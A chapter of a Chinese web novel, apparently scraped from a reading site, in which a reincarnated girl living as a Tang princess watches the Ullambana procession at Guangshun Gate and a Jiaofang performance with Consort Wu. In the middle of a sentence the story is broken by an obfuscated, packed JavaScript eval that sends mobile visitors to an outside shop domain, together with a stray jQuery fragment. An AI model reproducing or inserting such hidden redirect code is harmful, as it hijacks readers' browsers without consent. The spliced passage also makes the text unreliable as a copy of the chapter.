武惠妃把李璇原先的宫人送去了大明宫做洒扫,又拨了几个新人来照看她的日常起居。
那些人不过是懒怠了些,说到底也没对李璇造成什么实质损害。武惠妃虽雷厉风行,倒也没有动辄杀人的爱好。何况这兴庆宫说到底也不是她做主。
送到大明宫去,也不过是图个眼不见心不净。
李璇瞧见新面孔,也不认生,啊呀啊呀地就要去摸人家辫子。
武惠妃端起茶盏,敲打了几句,这才挥手让人散去。
卯时。
令春卷起纱帐,轻轻把李璟晃醒。
窗外还黑着,天边只有一道极细的青灰色,像是谁拿指甲在厚重的宣纸上狠狠地划了一下。
李璟躺在床上,盯着帐顶怎么也想不通:这群唐朝人,究竟是靠什么动力天不亮就爬起来的?他们都不困吗?
她翻了个身,把自己的脸埋进枕头里。
令春的声音在她头顶上响:“公主,您该起来了,过会儿还要同惠妃娘子去光顺门呢。”
光顺门。
李璟在枕头上闷闷地应了一声,认命地坐起来。
换衣裳的时候,她被令春套上一件鹅黄色交领短襦,领口和袖口用湘色丝线绣了几朵折枝花。
令春又拎起一件浅绯色半臂,作势要往她身上罩。
李璟往后一缩:“能不穿吗?”
“今日的场合人多着呢,十八娘若是不穿,回头惠妃娘子又该念叨了。”
李璟低头看了看那半臂,伸手捏了捏料子。她犹豫了一下,还是老老实实地伸开手臂,让令春给她套上。
换好衣裳,令春牵着她到正殿等武惠妃。
李璇没来。太早了,她不用起。
李沐被奶娘抱在怀里,小手不停地揉眼睛,哈欠连天。眼角泛出生理性泪水。
看见李璟,他挣扎着从奶娘怀里滑下来,颠颠地跑过去:“阿姐今日真漂亮,我能摸摸你额头的红色小花吗?”
“这个叫花钿。”李璟半蹲下身子,让他的小胖手轻轻地划过自己的额头。
李沐认认真真摸完,评价道:“好看,我都没有。”
李璟站起来,看了一眼李沐光洁的额头,“你一个三四岁的小男孩,要什么花钿?”
晨光从廊檐底下斜斜打进来,把李璟身上的鹅黄和石榴红照得透亮,她站在那儿,像一株刚开满花的小树。
武惠妃从殿里迈步出来,一边走一边跟心腹大宫女盘算着今日的流程,目光一落在两小只身上,立马眉开眼笑,伸手左右各牵一个,怎么看也看不够。
牵了一会儿,她低头看了看李沐。三四岁本该是抽条长个子的年纪,李沐却还是圆滚滚的一只,被武惠妃牵着,走得晃晃悠悠。
武惠妃叹了口气,跟他阿姐一对比,衬得他像个傻的。
软轿早已备好,一群人急匆匆往光顺门赶。后宫妃嫔和年幼的皇子皇女没有资格下去同百官一起参与“送盆”仪式,只能登阁楼观礼。
令春牵着李璟的手走上台阶。李璟抬头朝阁楼望去,密密麻麻的全是人头。
她正想着“这么多人往哪儿站”,人群忽然安静下来。
像水波被一块石头砸中,涟漪从中心向外荡开。妃嫔们各自拉着孩子向两侧退去,把中间那块视野最好的位置让了出来。
武惠妃牵着李璟和李沐,如沐春风地走进去。经过谁身边就朝谁点头问好,端的是一副中宫的从容。
李沐把手搭在栏杆上,往下看。
鼓声响了。
第一声从远处荡过来,像什么沉重的东西砸在地面上,然后慢慢晕开,一下,又一下。
百官整齐叩首,高呼万岁的祝词从底下涌上来,隔着那么高的阁楼,响亮无比。
队伍最前方是各式旌旗,龙、虎、熊、鹰、朱雀,间杂着日月星辰旗,旗面被晨风吹得猎猎翻卷。
禁军齐刷刷在前面开路,铠甲和旌旗顶端涂金的铜龙头一并反射出刺眼的光。
李璟忍不住眯了眯眼。那光太亮了,谁不经意看了一眼估计要刺的眼睛痛。
“阿璟你看,阿娘看到你寿王兄了!”武惠妃突然拍拍她肩膀,伸手往下指。
李璟顺着她指的方向望过去。底下全是王公的官帽,一样的花色、一样的形制,挤在一处,距离远些连衣服纹饰都看不清,更别说找出里面年仅十岁的李琩。
但李璟决定不做一个扫兴的孩子,像模像样的探出头,“阿兄果然风姿过人,在这么多人当中,也是一等一的出挑。”
武惠妃嘴角翘了一下,轻轻地抚摸了一下她的发顶。
“哪儿呢哪儿呢?”李沐被奶娘抱在怀里,小脑袋使劲往外伸,“我怎么瞧着全是脑袋,没找着阿兄啊?”
武惠妃轻轻弹了一下他的脑门:“你除了吃还会什么?连自己亲阿兄都找不到。”
李沐瘪了瘪嘴,又努力看了一会儿,终于放弃:“沐不找了。眼睛都累酸了。”
鼓声变了节奏。更重,更慢,间隔更长。盂兰盆在鼓声中缓缓升起,从门洞里一点点探出头来。
那是一尊极尽奢华的皇家法物。金光与翠鸟羽毛在晨光下闪动着,青莲、赪果、各色美玉嵌在盆身,远看如赤色霞光落入人间。
李璟盯着它看了一会儿,忽然想,这一盆能不能抵一套汤臣一品?
乱七八糟的念头只闪了一瞬,就被紧随其后的七座神座打断了。每座神座形制如同缩小版的御座,铺着明黄色锦被,背后竖着绣有先帝尊号的大幡,龙伞高悬,缓缓遮过神座顶上的光。
幡花鼓舞愈发热烈。随行的宫人手持香炉,烟气袅袅,整个光顺门萦绕着檀香的味道。
李沐揉了揉鼻子,打了一个响亮的喷嚏。
道士与僧人齐声低诵经文,那声音沉沉的,像从地底下渗出来的。
整支队伍浩浩荡荡往宫外官寺去了。李璟站在阁楼上,一路目送,直到赤金色的队伍消失在长街尽头。
红色的宫门渐渐沉寂下来。远远的,还能听见宫外隐约的欢庆声。
武惠妃牵起她的手:“走吧。”
回到南熏殿,令春麻利地张罗早膳,舀了一碗馄饨搁到李璟面前:“公主快些吃。过会儿还要去教坊听戏呢。”
李璟舀起一颗馄饨咬下去,被烫得嘶哈一声。
她含含糊糊地抱怨:“听戏?能不能不去?”
“公主莫要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881447|212475||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开玩笑。”令春无奈地笑,“一会儿还得重新换衣裳梳妆呢。”
一个节要换无数套衣裳、赶不知道多少个场子,天不亮出门,天黑了还在忙。
她恨恨地嚼完馄饨,索性当个木头桩子,任由令春带着宫女们在她身上忙活。
浅碧色短襦,银灰色丝线绣成的小团花在袖口绽开,杏黄色长裙随着她的动作轻轻摆动。总角用浅碧色丝带固定住,簪了一朵金色的迎春花。
令春绕着她转了一圈,满意地点点头,牵着她出门。
李璇被奶娘抱到马车上,一见到李璟就伸手要抱。李璟把她捞过来,没一会儿就觉得大腿麻了。这小东西看着不重,抱久了也是要命。
“累~”李璇在她怀里扭了扭。
“你要把阿姐的腿坐折了。”李璟把她放到座椅上,“我把着你坐会儿,好不好?实在想让人抱,阿姐就只能把你送到阿娘那儿去了。”
李璇想了想,乖乖坐稳了,拿起奶娘塞给她的两耳鼓,小手一转,鼓身两侧缀着的木丸就“咚咚”地敲在皮面上。
她在旁边自娱自乐,李璟趁机靠着车壁闭眼歇了一会儿。
马车颠颠地走着,车帘缝隙里漏进来一些东内苑的树影。
李璟睁眼往外看了一下,黑色的影子一道一道从她脸上划过去,像水波。
教坊到了。
她跟着武惠妃走到视野最好的位置坐下。四名伎人穿着碧色衣裙,手持团扇,随着鼓点缓步而出。动作不算激烈,更像是一场有节拍的游走,裙摆在地面上拖出淡淡的弧线。
李璟看了一会儿。女孩子很好看,但舞她没太看懂。
第二个节目很明显古今皆宜多了。
一个侏儒穿着斑斓短衣,腰间挂一串铃铛,叮叮当当地滚到台中央,从怀里掏出一枚铜钱,对着亮处晃了晃。铜钱在他指尖来回翻转,一会儿变两颗,一会儿变四颗,最后双手一合,再张开时空空如也。
这个她知道,魔术嘛!
李沐“哇”地一声,眼睛瞪得溜圆,恨不得站起来看,武惠妃快速伸手把他按了回去。
压轴的是《目连救母》。乐师拨动琵琶,唱曲的艺人一身素衣站到台中央,嗓音高亢婉转,像在讲一个很长的故事。
李璟从唱词里听出了几个零散的字:“母”“地狱”“救”,但连起来就不知道在唱什么了。
她放弃理解,开始吃桌上的瓜果。
等她把跟前那盘零嘴吃尽了,这场戏也散了。
回去的马车里,李璟靠着车壁,脸上没有表情。
她一个七岁孩童,从卯时到现在,一直在跑外勤。她甚至觉得自己今天的运动量已经超过在原来世界一年的运动总量。
回到南熏殿,她一头栽进榻里,裹着被子滚到最里头,把脸埋在枕头上:“好令春,你就让我歇一刻钟。我真的受不住了。你帮我去跟阿娘说一声,就说我身体不适,晚些到。”
令春站在榻边,低头看着难塌乱滚的毛毛虫,促狭地笑了笑:“哎呀,这可不行呢。陛下那么多皇子公主,可不是谁都能去的……况且郑国夫人和武家两位郎君今日也要来。听说老夫人想公主想得不行,公主怕是想躲也躲不掉呢。”